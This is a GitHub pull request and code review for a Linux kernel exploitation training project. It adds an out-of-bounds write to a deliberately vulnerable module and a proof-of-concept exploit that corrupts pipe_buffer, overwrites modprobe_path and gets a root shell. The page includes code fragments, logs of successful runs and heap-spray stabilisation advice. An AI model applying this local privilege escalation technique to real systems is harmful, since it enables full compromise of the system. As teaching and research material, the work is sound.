Skip to content

feature: out-of-bound write primitive and an exploit#16

Open
d1sgr4c3 wants to merge 11 commits intoa13xp0p0v:masterfrom
d1sgr4c3:feat/oob_w_PR
Open

feature: out-of-bound write primitive and an exploit#16
d1sgr4c3 wants to merge 11 commits intoa13xp0p0v:masterfrom
d1sgr4c3:feat/oob_w_PR

Conversation

@d1sgr4c3
Copy link
Contributor

@d1sgr4c3 d1sgr4c3 commented Dec 14, 2025

hello, @a13xp0p0v !

please have a look at these changes:

  1. module has been patched to make OOBW happen, drill_test updated as well to prevent heap corruption
  2. built a basic exploit
  3. and carefully repaired modprobe_path
  4. readme updated as well

also POC can bypass this mitigations:

  • CONFIG_SLAB_MERGE_DEFAULT=n
  • CONFIG_SLAB_FREELIST_RANDOM=y
  • CONFIG_SLAB_FREELIST_HARDENED=y
  • CONFIG_SLAB_BUCKETS=y

@a13xp0p0v
Copy link
Owner

Hello @d1sgr4c3. Cool work!

A quick idea: you can fix the modprobe path via your privileged script instead of memory corruption.

In that case your modprobe path would be restored earlier (not after the privileged shell is finished).

@a13xp0p0v
Copy link
Owner

I ran a basic test, this PoC worked.
Looking forward to your fix and I will continue the review.

@d1sgr4c3
Copy link
Contributor Author

sure, it is the way better

previous commit i replaced with that one

please check this out!

@a13xp0p0v
Copy link
Owner

Hello @d1sgr4c3, thanks for the improvement.

I've added some minor style fixes (to minimize the difference to other PoCs).

And please see my code review below.

Copy link
Owner

@a13xp0p0v a13xp0p0v left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@d1sgr4c3, I'm looking forward to the next version!

int main(void)
{
int ret = EXIT_FAILURE;
char modprobe_path[KMOD_PATH_LEN] = { 0 };
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Usually the local variables are declared in the order they are used in the code. That improves the code readability. I've fixed it partially in e25fbb3

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

sure, reordered d40953c

ret = EXIT_SUCCESS;

end:
if (pipe_ret >= 0) {
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Checking pipe_ret is not needed if you initialize the pipe_fds array properly.

By the way, the uninitialized pipe_fds array elements may have any value.

Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There is also a bug here. If pipe_ret < 0 no pipes would be closed.

Please check your error handling code in this PoC.

Copy link
Contributor Author

@d1sgr4c3 d1sgr4c3 Feb 15, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Checking pipe_ret is not needed if you initialize the pipe_fds array properly.

checking pipe_ret is necessary because we have goto end before the pipe is opened. we can remove if (pipe_ret >= 0) {, but if the program closes before opening the pipes, we will try to close a non‑existent fd.


By the way, the uninitialized pipe_fds array elements may have any value.

please, can you add more details? if they are uninitialised, and code stops forked before pipes opened, i dont even touch them...


There is also a bug here. If pipe_ret < 0 no pipes would be closed.

"If pipe_ret < 0 " the pipe was not created, so there are no descriptors to close, according to manpage:

RETURN VALUE
       On success, zero is returned.  On error, -1 is returned, errno is set to indicate the error, and pipefd is left unchanged.

in the end, this check if (pipe_ret >= 0) { may looks weird, but thats ok.

please, can you add some context about other issues? it looks i didnt understood a bit

for (int d = 0; d < PIPES_N; d++) {
snprintf(err_act, sizeof(err_act), "3 %d 0x%lx 0x50", d,
VIRTUAL_TO_PAGE(MODPROBE_PTR));
ret = write(act_fd, err_act, strlen(err_act) + 1);
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Here you perform the memory corruption PIPES_N times.

Please try to allocate only one drill_item_t structure and corrupt it only once.

That would make your experiment much cleaner.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

please have a look:

  1. i am going into fisrt for and doing one corruption
  2. after one corruption i iterate PIPES_N times through the all pipes to find the corrupted pipe

Here you perform the memory corruption PIPES_N times.

actually, it happened about one-two times:

[   29.590541] drill: kmalloc'ed item 415 (0xffff88810b218360, size 95)
[   29.591124] drill: gonna work with item 416
[   29.591374] drill: kmalloc'ed item 416 (0xffff88810b218420, size 95)
[   29.591759] drill: gonna work with item 417
[   29.592124] drill: kmalloc'ed item 417 (0xffff88810b2184e0, size 95)
[   29.592450] drill: gonna work with item 418
[   29.592652] drill: kmalloc'ed item 418 (0xffff88810b2185a0, size 95)
[   29.593068] drill: gonna work with item 419
[   29.593296] drill: kmalloc'ed item 419 (0xffff88810b218660, size 95)
[+] sprayed pipe_buffers in kmalloc-96
[*] trying to corrupt `pipe_buffer`...
[   29.594157] drill: gonna work with item 0
[   29.594364] drill: save val 0xffffea00000b5200 to item 0 (0xffff888107e465a0) at data off)
[   29.594894] drill: item 0 dump:
[   29.595057] drill: 0000000036387213: a5 a5 a5 a5 41 41 41 41 10 00 00 c0 ff ff ff ff
[   29.595454] drill: 000000001a1b413b: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[   29.595857] drill: 00000000b76d7253: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[   29.596249] drill: 0000000006d628f3: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[   29.596641] drill: 000000004a285b6d: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[   29.597059] drill: 000000001c4ebe11: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[*] trying to leak modprobe_path...
[+] located "/sbin/modprobe" at offset 0x6e0 of pipe #12
[+] overwrote modprobe_path successfully: "/proc/348/fd/3"
[!] triggering modprobe using AF_ALG socket to launch the root shell...
/bin/sh: 0: can't access tty; job control turned off
# [   29.599888] audit: type=1400 audit(1770223049.366:8): avc:  denied  { add_name } for  p1
[   29.600839] audit: type=1400 audit(1770223049.366:9): avc:  denied  { create } for  pid=31
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0
# 
[!] root shell is finished

[+] the end! 

the string [*] trying to corrupt pipe_buffer... is appeared once

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please try to allocate only one drill_item_t structure and corrupt it only once.

i implemented this in 191f6db

now, there is only one drill item created and i corrupt in only once. since there is some mitigations turned on, which i mentioned, the exploit may have 50/50 stablity. i also tested with defconfig without hardenings, the stability is 100%

here is the log (mitigations on):

user@host ~/kernel-hack-drill> ./drill_oob_w_pipe_buffer
[+] privesc script is prepared at /proc/348/fd/3
[+] drill_act is opened
[+] pinned to CPU #0
[+] opened pipes
[   30.498309] drill: gonna work with item 0
[   30.498987] drill: kmalloc'ed item 0 (0xffff888106b4a240, size 95)
[+] sprayed pipe_buffers in kmalloc-96
[*] trying to corrupt `pipe_buffer`...
[   30.502944] drill: gonna work with item 0
[   30.503560] drill: save val 0xffffea00000b5200 to item 0 (0xffff888106b4a240) at data offset 80 (0xffff888106b4a2a0)
[   30.505085] drill: item 0 dump:
[   30.505583] drill: 000000009b22a520: a5 a5 a5 a5 41 41 41 41 10 00 00 c0 ff ff ff ff
[   30.506732] drill: 0000000083d3fd8e: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[   30.507873] drill: 0000000092bf5c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[   30.508996] drill: 00000000b9a307e3: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[   30.510122] drill: 00000000ebf66822: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[   30.511273] drill: 00000000c0bae4dc: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[*] trying to leak modprobe_path...
[-] unable to leak modprobe_path

[+] the end! 
user@host ~/kernel-hack-drill> ./drill_oob_w_pipe_buffer
[+] privesc script is prepared at /proc/361/fd/3
[+] drill_act is opened
[+] pinned to CPU #0
[+] opened pipes
[   35.558472] drill: gonna work with item 0
[   35.559108] drill: kmalloc'ed item 0 (0xffff88810b33d840, size 95)
[+] sprayed pipe_buffers in kmalloc-96
[*] trying to corrupt `pipe_buffer`...
[   35.563196] drill: gonna work with item 0
[   35.563833] drill: save val 0xffffea00000b5200 to item 0 (0xffff88810b33d840) at data offset 80 (0xffff88810b33d8a0)
[   35.565402] drill: item 0 dump:
[   35.565902] drill: 0000000016989492: a5 a5 a5 a5 41 41 41 41 10 00 00 c0 ff ff ff ff
[   35.567068] drill: 00000000cf69d622: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[   35.568172] drill: 0000000046f42d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[   35.569320] drill: 00000000692511ee: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[   35.570469] drill: 00000000f5419888: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[   35.571684] drill: 00000000ec47e504: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[*] trying to leak modprobe_path...
[+] located "/sbin/modprobe" at offset 0x6e0 of pipe #20
[+] overwrote modprobe_path successfully: "/proc/361/fd/3"
[!] triggering modprobe using AF_ALG socket to launch the root shell...
[   35.577974] audit: type=1400 audit(1771201922.690:8): avc:  denied  { add_name } for  pid=362 comm="3" name="5" scontext=system_u:system_r:kernel_t:s1
/bin/sh: 0: can't access tty; job control turned off[   35.582418] audit: type=1400 audit(1771201922.690:9): avc:  denied  { create } for  pid=362 comm=1

# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0
# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0
#        	
[!] root shell is finished

[+] the end! 
user@host ~/kernel-hack-drill> 

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@a13xp0p0v, is that okay? corruption is only once.

if you want, i can implement a for-loop here. we can make attack repeatable, but with one drill allocation and oobw corruption per attack cycle

Copy link
Owner

@a13xp0p0v a13xp0p0v Feb 20, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@d1sgr4c3, there is an idea that would make your PoC more stable:
allocate objs_per_slab * cpu_partial objects in the beginning.
That would fill all the gaps in slabs in the partial list of the slab cache.
In that case you would decrease the chances of corrupting some other object (not pipe_buffer).

perror("[-] fcntl");
goto end;
}
if (write(pipe_fds[i][1], pipe_data, sizeof(pipe_data)) < 0) {
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do you really need to write to the pipes here, during the allocation loop?

Maybe doing that later would be less noisy?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

i tried to move writing into the same bif for loop when we reads form pipe, put by some reason it make attack impossible :(

Do you really need to write to the pipes here

so, it seems like answer is "yes"

}
for (int j = 0; j <= (sizeof(pipe_data) - sizeof(modprobe_path)); j += 8) {
/* clang-format off */
if (memcmp(pipe_data + j, modprobe_path, sizeof(modprobe_path)) == 0) {
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Too many nested blocks here.

Please try using functions to simplify the code and avoid disabling clang-format.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

sure, good idea

did it here a7c0a1c

README.md Outdated
| __drill_uaf_w_pipe_buffer.c__ | a basic a UAF exploit that writes into a freed `drill_item_t`; it performs a cross-cache attack and overwrites `pipe_buffer.flags` to implement the Dirty Pipe technique and gain LPE |
| __drill_uaf_w_pte.c__ | a basic UAF exploit that writes to a freed `drill_item_t`; it performs a cross-allocator attack and overwrites a page table entry (PTE) to implement the Dirty Pagetable technique and gain LPE on `x86_64` |
| __drill_uaf_w_pud.c__ | an improved version of `drill_uaf_w_pte.c` that overwrites an entry in Page Directory Pointer Table (PDPT), which is called Page Upper Directory (PUD) in the Linux kernel; that allows to implement the Dirty Pagetable attack via huge pages |
| __drill_oob_w_pipe_buffer.c__ | basic OOBW exploit performs out-of-bounds write to overwrite `pipe_buffer`->page pointer with arbitrary value, allowing the attacker to perform LPE via overwriting `modprobe_path`. |
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Let's improve wording. How about something like this?

a basic OOBW exploit that corrupts the `pipe_buffer.page` pointer to perform AARW of kernel memory via a pipe and gain LPE.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

looks great! but "exploit corrupts and gains"

edited suggested sentence with gain => gains 4977a7f

}

ret = get_modprobe_path(modprobe_path, sizeof(modprobe_path));
if (ret == EXIT_FAILURE || strcmp(modprobe_path, privesc_script_path) != 0) {
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

in 95df15a i decided to check that overwriting is succeed, because i discovered a false-positive results

#define SLAB_TO_FILL 10
#define OBJS_PER_SLAB 42
#define PIPES_N OBJS_PER_SLAB * SLAB_TO_FILL
#define PIPE_CAPACITY PAGE_SIZE * PB_PER_SLAB_SLOT
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

suddenly saw a bad style here

improved in 996e31d

@d1sgr4c3
Copy link
Contributor Author

@a13xp0p0v, it seems like i covered all threads. also added new ones, rebased on top of fresh master

please, have a look !

@d1sgr4c3 d1sgr4c3 requested a review from a13xp0p0v February 16, 2026 01:05
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants